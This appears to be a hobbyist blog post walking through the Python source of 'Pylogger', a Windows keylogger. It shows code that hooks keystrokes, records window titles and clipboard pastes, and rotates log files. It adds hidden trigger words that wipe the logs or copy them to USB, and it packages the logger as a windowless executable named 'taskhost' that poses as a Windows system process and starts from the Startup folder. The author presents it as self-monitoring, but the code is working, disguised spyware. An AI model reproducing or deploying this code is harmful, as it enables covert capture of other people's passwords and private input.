Reading Time: 6 minutes

[ This is the sequel to Chapter 1: Clogger || Pylogger is now available at Github]

After the first experiments with C/C++, it became obvious that I needed a more efficient keylogger. I thought (and still think) that there was something wrong with my original implementation; That there had to be a way to do better keylogging without taking >50% of the CPU. So, I decided to jump onto Python for a different approach.

I love Python. It is a fantastic scripting/programming language that adapts to any scenario. I had already used it as a website framework, game engine, scrapper, API glue, and to build simple utilities. But, like in any good relationship, Python managed to surprise me again when I came across Black Hat Python and Violent Python. Through this books, I realized Python had a bit of a dark side, and could also be used in Security in both defense and offense. That's when I decided to take my keylogger to the realm of Python.

All the code that I am about to discuss can be found at my github repo.

* Follow me for more hacking content!

Follow @konukoii

The Basics

The keylogging basics were inspired from the book Black Hat Python. Believe it or not, all we're going to need is about 4 lines of code to tap into the keyboard event stream using a module called Pyhook. Pyhook essentially allows you to specify callback functions to different mouse and key events. In the code bellow, notice that our second line of code is setting a function KeyStroke as the callback function to a KeyDown event. (In simpler terms, every time a key is pressed the KeyStroke function will be called.) The last two lines of code are actually hooking to the keyboard and pumping messages to our thread.

# create and register a hook manager kl = pyHook.HookManager() kl.KeyDown = KeyStroke # register the hook and execute forever kl.HookKeyboard() pythoncom.PumpMessages()

Now lets take a look at that KeyStroke function piece by piece.

When KeyStroke is called, it recieves the event argument which contains a lot of information about the KeyDown event. The first thing we want to do is to check where it was typed on (which window). This will help us produce a more readable log; It will help us quickly figure out what is important and what not. If we see someone typed gazelle123 into a facebook.com login page it is more meaningful than if they typed it into a word document.

def KeyStroke(event): global current_window # check to see if target changed windows if event.WindowName != current_window: current_window = event.WindowName get_current_process()

The next step is to actually figure out what was pressed. We limit the logging to only those keys that are important. Disregarding things like up/down/etc. On the other hand, we do check for Ctrl+V for copy pasted material. This is a nice addition, that you can choose to comment out if needed. You will notice that after we catch the key/paste we want to log we first call the function checkTriggers and later the function writeToFile.

# if they pressed a standard key if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), checkTriggers(chr(event.Ascii)) writeToFile(chr(event.Ascii)) else: # if [Ctrl-V], get the value on the clipboard # added by Dan Frisch 2014 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() if (len(pasted_value) < paste_limit): print "[PASTE] - %s" % (pasted_value), writeToFile("[PASTE] - %s" % (pasted_value)) else: print "[%s]" % event.Key, writeToFile("[%s]" % event.Key) # pass execution to next hook registered return True

Moving on, we'll see that the writeToFile function does a little bit more than just writing to a file. I quickly saw that if one were to run this keylogger for extended periods of time, you would end up with huge files that would eventually get very slow to read/write to. So I decided that every time before I write to the log file, I would check it's size; If it was too big, then we would create a new log file and continue using that one. This could also be beneficial if one wanted to do some post-processing or manual checking of the logs.

#Write to File def writeToFile(key): if (pause): return global open_type filename = filename_directory+"/"+filename_base+filename_ext try: if (os.path.getsize(filename) > filesize_limit): xdate = strftime("%Y-%m-%d--%H-%M-%S", gmtime()) shutil.copy2(filename, filename_base+xdate+filename_ext) open_type = 'w+' print "New File" else: open_type = 'a+' except: open_type = 'a+' #print "A",open_type target = open(filename,open_type) target.write(key) target.close();

Extending the Keylogger

The fun part of the keylogger came after the basics were set. I thought that if I wanted something really functional, I had to be able to control it in the most smooth and non-hacky way possible. I decided that it would be fun to add keywords that when typed would trigger different events. I had multiple ideas, but the ones I have implemented so far are:

Kill - Destroy all logs and program itself.

Status - Make the computer Beep; Nifty way to check if keylogger is active.

Dump - Copies all log files to a given external drive

Pause/Resume - As you would expect, pause/resume keylogging without shutting down program.

Quit - Shutdown the keylogger.

The way these work is quite simple and rather repetitive so let's just take a look at the status one, which is the simplest. Essentially there is a password and a counter for that password. Every time a key is pressed we check if the key corresponds to any of our passwords. Let's say "p" gets pressed, then we check and since our password does start with a p; we move our password counter so that we are expecting "y" as the next keystroke. If it is then the counter progresses until eventually we perform the beeping task. Otherwise, if some other key is pressed, we reset the counter. In other words, type "pystatus" and you will get a beep, otherwise you wont.

#Status Vars status_pass = "pystatus" status_pass_counter = 0 #Status Switch - Will beep to let you know its alive def statusSwitch(key): global status_pass_counter if (status_pass[status_pass_counter] == key): status_pass_counter = status_pass_counter + 1 if (status_pass_counter >= len(status_pass)): print "\a"; #In Windows this translates to a beep! status_pass_counter = 0; else: status_pass_counter = 0;

Most of these methods work the same way and they are in fact pretty simple to understand. However, let's take a closer look at one that I particularly like: The log dumping trigger.

In the case of Dump we want to write "pydump" followed by our usb drive letter (e.g E, D). Notice that the way we are dumping is by using os.popen as opposed to shutil or os.copy. The reason for this is because I found that these two would often have issues depending on whether there were nested folders or other random conditions. I found that the windows copy worked fine, regardless of any special conditions. So for simplicity sake, I went with that.

#Dump Vars dump_pass = "pydump" dump_pass_counter = 0 #Dump everything to a given lettered drive def dumpSwitch(key): global dump_pass_counter global dump_pass print dump_pass_counter if (dump_pass_counter == len(dump_pass)): print "Trying to dump into",key.upper() try: print "Dumping into",key.upper() #Bypasses any priviledge limitation that Python might have. print os.popen("copy "+filename_directory+" "+key.upper()+":").read() dump_pass_counter = 0 except: print "Nope. '",key,"' wasn't a correct Location to Dump." dump_pass_counter = 0 else: if (dump_pass[dump_pass_counter] == key): dump_pass_counter = dump_pass_counter + 1 else: dump_pass_counter = 0

I'll leave the rest of the functions for you to take a look on your own. (if you have any questions feel free to post in the comments).

Final Touches

To fully get the most out of this keylogger, I decided it to turn it into an windowless executable. This was accomplished by simply turning the file into a .pyw (python executable without console) and then converting it with py2exe. After installing py2exe all you need to do is create a new file called setup.py such as the one below. Notice that in this python script you can change the name, description, and other characteristics of the executable. After you are done with that all you need to do it is run python setup.py .

from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') setup( name = 'taskhost', description = 'Host Process for Windows Tasks-', options = {'py2exe': {'bundle_files': 1, 'compressed': True}}, windows = [{'script': "pylogger.pyw"}], zipfile = None, )

Once you are done with that you can simply place this executable in the Startup folder so that everytime you log into windows, it will run!

Pylogger in Real Life

Once done, it was time to try the ultimate test: Running Pylogger for 2 consecutive weeks. The first thing I noticed was that pylogger barely goes above 1% of CPU usage. It is essentially invisible. The second thing I liked was that the pause/resume/status triggers allowed me to avoid do unecessary keylogging. After two weeks, I even forgot I had this little beast on, yet it made me feel a bit safer knowing that if someone messed with my stuff I would know.

Further Development and Ideas

In the end, Pylogger is a fun experiment, but eventually I have other work and projects to do, so I'll probably leave the code as is (for now). However, I did have some other ideas to expand pylogger. One of the main extensions I wanted to add is a new methods(s) by which the keylogger could send its logs to an online server or email. That way, if someone were to steal my computer, I could keep track of them from afar. I got around this by just placing the log folder inside my dropbox, but that wasn't as fun as doing my own exfiltration module. Other ideas included adding encryption to the logging method, zipping the logs together, keeping a .conf file with the trigger passwords, etc. The reality is that a lot more fancy stuff could be integrated, but for now Pylogger is doing its job amazingly well. 🙂

I hope that you enjoyed this small postmortem. If you feel like helping out with this project or adding new features, you can always swing by the repo or drop me a line at the comments!

Disclaimers